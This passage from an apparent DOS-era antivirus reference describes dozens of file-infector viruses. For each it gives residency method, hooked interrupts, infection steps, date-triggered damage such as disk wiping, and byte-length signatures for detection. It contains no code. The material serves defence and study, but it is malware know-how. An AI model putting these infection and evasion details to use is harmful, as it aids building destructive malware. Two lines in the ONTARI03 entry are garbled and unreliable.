   by X-1. If "Yes", it continues to look for an
   uninfected .EXE file.
4) It then infects only one file at a time.
5) Then it executes the original file.
Damage:
If it is the 5th of  March, it displays a message,
and then the system halts.
Detecting Method:
Infected files will increase by 555 Bytes.
Note:
1) Doesn't stay resident in memory.
2) X-1 doesn't hook INT 24h when infecting files.
   An error message occurs if there is an I/O
   error (such as  write protect).

[Lep-FVHS]
Virus Name: LEP-FVHS
Virus Type: File Infector Virus
            (infects .COM & .EXE files)
Virus Length: NO change.
PC Vectors Hooked: None

Executing Procedure:
1) Shows the message: "allocating memory.....
   Please wait.....    Hard time accessing memory,
   please turn off all RAM resident programs and
   press>>Enter<< to continue...."
2) The virus searches for an .EXE or .COM file in
   the current directory.
3) It checks whether it has been infected by
   LEP-FVHS.  If "Yes", it continues to look for
   an uninfected .EXE or .COM file.
4) If "No", then infects any four .EXE & .COM
   files at a time  in the current directory.
5) Shows the message: "Program too big to fit in
   memory."

Damage:
Overwrites original files, so the length of
infected files won't increase.
Detecting Method:
Shows the message: "Allocating memory...."
Note:
1) Doesn't stay resident in memory.
2) LEP-FVHS doesn't  hook INT 24h when infecting
   files.  An error message occurs if there is an
   I/O error (such as write protect).

[Monxla]
Virus Name: MONXLA
Virus Type: File Infector Virus
            (infects .COM files)
Virus Length: 939 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) The virus searches for a .COM file in the
   current directory. .
2) It checks whether the system date is the 13th,
   if "Yes", then it destroys the file.
3) If "No", it checks whether it has been infected
   by MONXLA.  If "Yes", it has been infected, it
   continues to look for an uninfected .COM file.
3) It then infects any one .COM file in the
   current directory.
4) Finally it executes the original file.
Damage:
If the system date is the 13th, then it destroys a
.COM file.
Detecting Method:
Infected files will increase by 939 Bytes.
Note:
1) Doesn't stay resident in memory.
2) MONXLA doesn't hook INT 24h when infecting
   files.  An error message occurs if there is an
   I/O error (such as write protect).

[More-649]
Virus Name: MORE-649
Virus Type:
Memory Resident, File Infector Virus (infects
.COM files).
Virus Length:  649 Bytes (COM)
PC Vectors Hooked:
INT 21h (AX=4B00h) (execute program)
Infecting Procedure:
1) The virus checks whether it is already
   loaded resident in memory. If "No", it then
   loads itself into resident memory by hooking
   INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   (b) It doesn't infect .EXE files or files with
   special times (year larger than 1999).
4) When the virus detects a file that has a YEAR
   date larger than 1999, a message appears:
   "OH NO NOT MORE ARCV".
Damage:  None.
Detecting Method:
1)  Infected .COM files increase by 649 Bytes.

[Arka]
Virus Name: ARKA
Virus Type: Memory Resident, File Infector Virus
           (infects .COM files).
Virus Length:  1905 Bytes (COM)
PC Vectors Hooked:
INT 21h (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any executed file that is not
   already infected with the ARKA virus.
Damage:  None.
Detecting Method:
1)  Infected COM files increase by 1905 Bytes.

[578]
Virus Name: 578
Virus Type:  Memory Resident, File Infector Virus
             (infects .COM     files).
Virus Length:  578 Bytes (COM)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   (b) It doesn't infect .EXE files.
4) The virus will then check the system date if is
   later than April 3rd, then the virus will destroy
   all data on "A:" followed by showing a three
   colored flag and the message: "ITALY IS THE BEST
   COUNTRY IN THE WORLD" on the screen.
Damage:
If system date is later than April 3rd, the virus
will destroy all data on "A:"
Detecting Method:
1)  Infected COM files increase by 578 Bytes.
Note:
1) 578 doesn't hook INT 24h when infecting files.
   An error message occurs if there is an I/O
   error (such as write protect).

[5LO]
Virus Name: 5LO
Virus Type:  Memory Resident, File Infector Virus
             (infects .EXE files).
Virus Length:  1125--1140 Bytes (EXE)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   (b) It doesn't infect .COM files.
Damage:  None.
Detecting Method:
Infected .EXE files increase by 1125--1140 Bytes.
Note:
The 5LO virus doesn't hook INT 24h when infecting
files. An error message occurs if there is an I/O
error (such as write protect).

[Aids 552]
Virus Name: AIDS552
Virus Type:
Highest Memory Resident, File Infector Virus
(infects .EXE files).
Virus Length:  552 Bytes (EXE)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    into resident memory. If "No", it then loads
    itself into memory  (highest memory) by
    hooking INT 21h.
2) It then executes the original file.
3) It infects when the command  "DEGUG
   FILE_NAME.EXE" is executed. b) Doesn't infect
   .COM files.)
Damage:  None
Detecting Method:
1)  Infected .EXE files increase by 552 Bytes.
Note:
The  AIDS552 virus doesn't hook INT 24h when
infecting files.  An error message occurs if
there is an I/O error (such as write protect).

[408]
Virus Name: 408
Virus Type: Memory Resident, File Infector Virus
            (infects .COM files).
Virus Length:  408 Bytes (COM)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .EXE files.
Detecting Method:
1)  Infected files increase by 408 Bytes.
Note:
The 408 virus doesn't hook INT 24h when
infecting files. An error message occurs if there
is an I/O error (such as write protect).

[BOOJUM]
Virus Name: BOOJUM
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .EXE files).
Virus Length:  340 Bytes (EXE)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into memory (highest memory) by
    hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into memory it will infect
   any uninfected file that is executed.  b) It
   doesn't infect .COM files.
Damage:  None
Detecting Method:
1)  Infected EXE files increase by 340 Bytes.
Note:
The BOOJUM virus doesn't hook INT 24h when
infecting files. An error message occurs if
there is an I/O error (such as write protect).

[Shirley]
Virus Name: SHIRLEY
Virus Type: Memory Resident, File Infector Virus
            (infects .EXE files).
Virus Length:  4110 Bytes (EXE)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed. b) It doesn't infect .COM files.
Damage:  None
Detecting Method:
Infected EXE files increase by 4110 Bytes.
Note:
The Shirley virus doesn't hook INT 24h when
infecting files. An error message occurs if there
is an I/O error (such as write protect).

[D-Tiny]
Virus Name: D-TINY
Virus Type: Memory Resident, File Infector Virus
            (infects .COM files).
Virus Length:  126 Bytes (COM)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:  None
Detecting Method:
Infected COM files increase by 126 Bytes.
Note:
D-TINY doesn't hook INT 24h when infecting files.
An error message occurs if there is an I/O error
(such as write protect).

[01-07]
Virus Name: 01-07
Virus Type: Memory Resident, File Infector Virus
            (infects .COM     files).
Virus Length:  639 Bytes (COM)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1) The virus checks whether the system date is
   between the 1st and the 6th of January.  If
   "Yes",  it shows the message:" Happy New Year "
   on the screen and the system halts.  If "No",
   the virus checks whether it is   already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:
System halts when the system date is between the
1st and 6th of  January.
Detecting Method:
Infected files increase by 639 Bytes.
Note:
The 01-07 virus doesn't hook INT 24h when
infecting files.  An error message occurs if
there is an I/O error (such as write protect).

[Bit_Addict]
Virus Name: BIT_ADDICT
Virus Type: Memory Resident, File Infector Virus
            (infects .COM     files).
Virus Length:  477 Bytes (COM)
PC Vectors Hooked: INT 21h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .EXE files.
Damage:
When the virus infects 100 files, it will
destroy all data on the hard disk, then show
the message: "BIT ADDICTMZ> .... The Bit Addict
says: You have a good tasting hard disk, it was
delicious !!!"
Detecting Method:
Infected files increase by 477 Bytes.
Note:
The BIT_ADDICT virus doesn't hook INT 24h when
infecting files.  An error message occurs if
there is an I/O error (such as write protect).

[CSL-2]
Virus Name: CSL-2
Virus Type: Highest Memory Resident, File
            Infector Virus (infects .COM files).
Virus Length:  709 Bytes (COM)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:
Infected files increase by 709 Bytes.
Note:
The CSL-2 virus doesn't hook INT 24h when infecting
files. An error message occurs if there is an I/O
error (such as write protect).

[Highland]
Virus Name: HIGHLAND
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM files).
Virus Length:  477 Bytes (COM)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .EXE files.
Damage:
When the system date is the 29th, all files
infected by highland can't be executed.
Detecting Method:
Infected files increase by 477 Bytes.
Note:
Highland doesn't hook INT 24h when infecting
files.  An error message occurs if there is an
I/O error (such as write protect).

[CMDR]
Virus Name: CMDR
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM     files).
Virus Length:  4096 Bytes (COM)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:
Infected files increase by 4096 Bytes.
Note:
The CMDR virus doesn't hook INT 24h when infecting
files. An error message occurs if there is an I/O
error (such as write protect).

[POX]
Virus Name: POX
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .COM files).
Virus Length:  609 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 9h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT  21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:
POX hooks INT 9h, when the <Delete> key is
pressed, the virus will check the system date, if
DAY=24, it will format the hard disk..
Detecting Method:
Infected files increase by 609 Bytes.
Note:
The POX virus doesn't hook INT 24h when infecting
files.  An error message occurs if there is an I/O
error (such as write protect).

[SBC-1]
Virus Name: SBC-1
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM    files).
Virus Length:  No change
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT 21h.
2) It then checks whether the "COMMAND.COM" file
   has been infected, if "No", then it infects
   the file.
3) It then executes the original file.
4) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .EXE files.
Damage:
Overwrites original file when infects, so the
length of infected files won't increase.
Detecting Method:  None
Note:
The SBC-1 doesn't hook INT 24h when infecting
files.  An error message occurs if there is an
I/O error (such as write protect).

[Nov_17-1]
Virus Name: NOV_17-1
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM    & .EXE files).
Virus Length:  768 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage:   None.
Detecting Method:
1)  Infected files increase by 768 Bytes.
Note:
The NOV_17-1 virus doesn't hook INT 24h when
infecting files.  An error message occurs if
there is an I/O error (such as write protect).

[HBT]
Virus Name: HBT
Virus Type: Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  394 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h
                   (AX=4B00h) (execute program)
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:
When the virus is in resident memory, a file can't
be executed, but only infected.
Detecting Method:
Infected files increase by 394 Bytes.
Note:
The  HBT virus doesn't hook INT 24h when infecting
files.  An error message occurs
if there is an I/O error (such as write protect).

[Gotcha]
Virus Name: GOTCHA
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  906 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory (highest memory)
   by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
a) It also infects when a file is renamed, file
   attributes are set ,search for a  matching
   file or deleting a file.
Damage:   None.
Detecting Method:
Infected files increase by 906 Bytes.
Note:
The Gotcha virus hooks INT 24h when infecting
files. Omits I/O error (such as write protect).

[Voronezh-2]
Virus Name: VORONEZH-2
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  1600 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:   None.
Detecting Method:
Infected files increase by 1600 Bytes.
Note:
The Voronezh-2 virus  hooks INT 24h when infecting
files. It omits I/O errors(such as write protect).

[Amilia]
Virus Name: AMILIA
Virus Type: Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  1614 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:
1) If it is Sunday, a message is displayed on the
   screen: "Amilia I virii - [NUKE]  1991 By Rock
   Steady/NUKE", then the system  halts.
2) If it is between 4 and 5 o'clock in the
   afternoon, a smilie face shows on the screen
   here and there.
Detecting Method:
1) Infected files increase by 1614 Bytes.
2) A smilie face appears on the screen.
Note:
The Amilia virus hooks INT 24h when infecting
files. It omits I/O errors(such as write protect).

[981]
Virus Name: 981
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  981 Bytes (COM),
               about 1010 Bytes(EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h
Infecting Procedure:
1) The virus checks the DOS version, if the DOS
   version is earlier than 3.0 it will show  the
   message: " This program requires MS-DOS 3.0 or
   later ".
2) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory (highest memory) by
   hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident  memory it
   will infect any uninfected file that is
   executed.
Damage:   None.
Detecting Method:
1)  Infected .COM files increase by 981 Bytes,
    .EXE files increase by 1010 Bytes.
Note:
The 981 virus hooks INT 24h when infecting files.
It omits I/O errors (such as write protect).

[Gotcha-2]
Virus Name: GOTCHA-2
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  627 Bytes (COM), 527 Bytes (EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   a) Before it infects a file, it will check the
   file name.
Damage:   None.
Detecting Method:
1) Infected .COM files increase by 627 Bytes and
   .EXE files increase by 527  Bytes.
Note:
The Gotcha-2 virus hooks INT 24h and closes the
"control_break" function when infecting files. It
omits I/O errors (such as write protect).

[Hungarian]
Virus Name: HUNGARIAN
Virus Type: Highest Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  749 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h)
                   (execute program), INT 24h,
                   INT 8h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT 21h.
2) If (Year=1990 and month >=6) then it will hook
   INT 8h.
3) It then executes the original file.
4) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: When Hungarian hooks INT 8h, it will set
       the Counter to 0xFFFF. Each time when INT
       8h  is called, the counter  will decrease
       by one.  When the  counter equals zero
       (about one hour), it will begin to destroy
       files. Whenever you run any file, it will
       be destroyed.
Detecting Method:  Infected files increase by
                   749 Bytes.
Note:  The Hungarian virus hooks INT 24h when
       infecting  files.  It omits I/O errors
       (such as write protect).

[CK]
Virus Name: CK
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM  & .EXE files).
Virus Length:  1163 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 13h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: The virus hook INT 13h, some time later,
        system will make sound.
Detecting Method:   Infected files increase by
                    1163 Bytes.
Note:  The CK virus hooks INT 24h when infecting
       files.  It omits I/O errors (such as write
       protect).

[2136]
Virus Name: 2136
Virus Type:  Highest Memory Resident, File
             Infector Virus
             (infects .COM & .EXE files).
Virus Length:  2136 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:   None.
Detecting Method:   Infected files increase by
                    2136 Bytes.
Note:  The 2136 virus hooks INT 24h when
       infecting files.  It omits I/O  errors
       (such as write protect).

[Casteggi]
Virus Name: CASTEGGI
Virus Type:  Highest Memory Resident, File
             Infector Virus
             (infects .COM    & .EXE files).
Virus Length:  2881 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 1Ch
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage: When DAY>10, the virus will count time by
        hooking INT 1Ch, about 6 minutes later,
        the screen image will be destroyed.
Detecting Method:
1)  Infected files increase by 2881 Bytes.
Note: The Casteggi virus hooks INT 24h when
      infecting files.  It omits  I/O errors
      (such as write protect).

[Enola]
Virus Name: ENOLA
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM  & .EXE files).
Virus Length:  1865--1875 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 8h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage: When the virus has stayed resident for 140
        minutes and INT 21h called more than 72
        times, all data on the hard disk will be
        destroyed.
Detecting Method:  Infected files increase by
                   1865-1875 Bytes.
Note: The Enola virus hooks INT 24h when infecting
      files. It omits I/O errors
      (such as write protect).

[Ontari03]
Virus Name: ONTARI03
Virus Type:  Highest Memory Resident, File
             Infector Virus
             (infects .COM & .EXE files).
Virus Length:  2048 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
*>) ∙| t°mn ²|ec²|es°|he°ori mna*,fiⁿm.
*?)  mth°mts²lf ⁿoad²l into resident memory it will
   infect any uninfected file that is executed.
Damage:   None.
Detecting Method:  Infected files increase by
2048 Bytes.
Note:  The Ontari03 virus hooks INT 24h when
       infecting files. It omits I/O errors (such
       as write protect).

[PCBB-B]
Virus Name: PCBB-B
Virus Type:  Highest Memory Resident, File
             Infector Virus
             (infects .COM    & .EXE files).
Virus Length:  3072 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory (highest memory)
   by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage:   None.
Detecting Method:  Infected files increase by
                   3072 Bytes.
Note: The PCBB virus hooks INT 24h when
      infecting files.  It omits I/O  errors
      (such as write protect).

[Canna615]
Virus Name: CANNA615
Virus Type:  Highest Memory Resident, File
             Infector Virus
             (infects .COM & .EXE files).
Virus Length:  1568 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then checks whether system date is Friday,
   and the seconds of  the system time is zero,
   if "Yes", then a message and a picture
   appear on the screen: "LEGALIZE CANNA615" and
   a   picture of a hemp leaf.
3) It then executes the original file.
4) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage:   None.
Detecting Method:  Infected files increase by
                   1568 Bytes.
Note: The Canna615 virus hooks INT 24h when
      infecting files. It omits I/O error (such as
      write protect).

[Magnum]
Virus Name: MAGNUM
Virus Type: Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  2560 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 8h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:   None.
Detecting Method: Infected files increase by
                  2560 Bytes.
Note:
1) The Magnum virus hooks INT 24h when
   infecting files. It omits I/O errors (such as
   write protect).
2)The virus only runs under DOS 3.3

[Lycee]
Virus Name: LYCEE
Virus Type: Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  1788 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 8h,
                   INT 9h
Executing Procedure:
1) Checks whether it resides in memory.  If not,
   hooks INT 21h, INT 8h and INT 9h, installs
   itself as memory resident, and then executes
   the host program.
2) If the virus already resides in memory, it
   will proceed to execute the host program
   directly.
Infecting Procedure:
1) The virus Infects files by AH=4B in INT 21h.
   When an uninfected program is executed, it will
   get infected.
2) Lycee will hook INT 24h before infecting files
   to ignore I/O errors.
Damage: If you haven't pressed any key for some
        minutes, a small window will appear on the
        screen until you press a key.
Detecting Method:
1) Infected files increase by 1788 Bytes.
Note: The Lycee virus hooks INT 24h when infecting
      files. It omits I/O   errors (such as write
      protect).
Remarks: The virus does timing by INT 8h.  When
         the keyboard is not hit for a certain
         period of time, the virus will open a
         small window on the screen until a key is
         pressed.

[Brain2]
Virus Name: BRAIN2
Virus Type: Memory Resident, File Infector
            Virus (infects .COM & .EXE files).
Virus Length:  1935 Bytes (COM & EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 1Ch
Infecting Procedure:
1) It checks whether the system date is the
   17th of November or the 6th of February,  if
   "Yes", it will show some messages and play
   music.
2) The virus then checks whether it  is already
   loaded resident in memory. If "No", it then
   loads itself into resident memory by hooking
   INT 21h.
3) It then executes the original file.
4) It then checks whether the system date is the
   1st of  February, July, September or December,
   If "yes", the virus will show a flash square
   by hooking INT 1Ch.
5) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage:   None.
Detecting Method:   Infected files increase by
                    1935 Bytes.
Note: The Brain2 virus hooks INT 24h when
      infecting files. It omits I/O errors
      (such as write protect).

[Antiprnt]
Virus Name: ANTIPRNT
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .EXE files).
Virus Length:  593 Bytes (EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Infecting Procedure:
1)  The virus checks whether it is already loaded
    resident in memory.  If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT 21h.
2) It then executes the original  file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: If the DOS Version is later than 3.0, and
        "PRINTER" is installed, then the virus
        will destroy data on the current disk.
Detecting Method:
1) Infected files increase by 593 Bytes.
Note: The ANTIPRNT virus hooks INT 24h when
      infecting files. It omits I/O errors
      (such as write protect).

[ABC]
Virus Name: ABC
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .EXE files).
Virus Length:  2912 Bytes (EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h, INT 1Ch,
                   INT 16h
Infecting Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself resident in memory (highest memory) by
   hooking INT 21h, INT 1Ch, INT 16h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) Doesn't  infect COM files and EXE files with
   a length shorter than 20K.
Damage: When the system date is on the 14th, and
        the virus has been in memory  for 55
        minutes, then it will destroy the data on
        the hard disk.
Detecting Method:  Infected files increase by
                   2912 Bytes.
Note: The ABC virus hooks INT 24h when
      infecting files. It omits I/O errors (such
      as write protect).

[CivilWar]
Virus Name: Civilwar
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .COM files).
Virus Length:  599 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory (highest memory)
    by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:  Infected files increase by
                   599 Bytes.
Note: The Civilwar virus  hooks INT 24h when
      infecting files. It omits I/O errors (such
      as write protect).

[Leech]
Virus Name: Leech
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .COM files).
Virus Length:  1024 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:  Infected files increase by
                   1024 Bytes.
Note: The Leech virus hooks INT 24h when
      infecting files. It omits I/O errors
      (such as write protect).

[302]
Virus Name: 302
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .COM files).
Virus Length:  302 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files .
Damage:   None.
Detecting Method:   Infected files increase by
                    302 Bytes.
Note: The 302 virus hooks INT 24h when infecting
      files.  It omits I/O errors (such as write
      protect).

[Little_Brother]
Virus Name: Little_Brother
Virus Type:  Memory Resident, File Infector
             Virus (Companion Virus).
Virus Length:  250 Bytes (EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .COM files.
Damage: When an uninfected file is executed, the
        virus will create a *.COM file with the
        same   name as *.EXE file ( example: run
        "AAA.EXE", "AAA.COM" will be created by
        Little_Brother).
Detecting Method:   Infected files increase by
                    250 Bytes.
Note: The Little_Brother virus  hooks INT 24h
      when infecting files.  It omits I/O errors
      (such as write protect).

[ARCV-9]
Virus Name: ARCV-9
Virus Type:  Highest Memory Resident, File
